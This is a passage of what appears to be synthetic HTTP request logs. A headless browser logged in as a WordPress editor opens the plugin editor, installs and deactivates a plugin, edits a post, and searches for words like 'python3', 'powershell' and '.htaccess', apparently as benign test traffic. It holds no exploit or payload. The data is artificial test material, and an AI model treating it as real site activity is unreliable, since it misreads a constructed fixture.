HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=powershell-tools%2Fpowershell-tools.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?action=deactivate&plugin=docker-helper%2Fdocker-helper.php&plugin_status=all&paged=1&s&_wpnonce=6a63c44dbf", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209937"], "body": ""} +{"method": "GET", "target": "/wp-admin/update.php?action=install-plugin&plugin=docker-helper&_wpnonce=6f3e7b77ac", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209937"], "body": ""} +{"method": "GET", "target": "/?rest_route=/wp/v2/search&search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209921"], "body": ""} +{"method": "POST", "target": "/?rest_route=/wp/v2/posts/1", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 40", "X-WP-Nonce: 3e816ac72c", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209921"], "body": "{\"id\":1,\"title\":\"Hello from the editor\"}"} +{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/users?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/users?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/users?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/powershell-basics/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/powershell-basics/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: 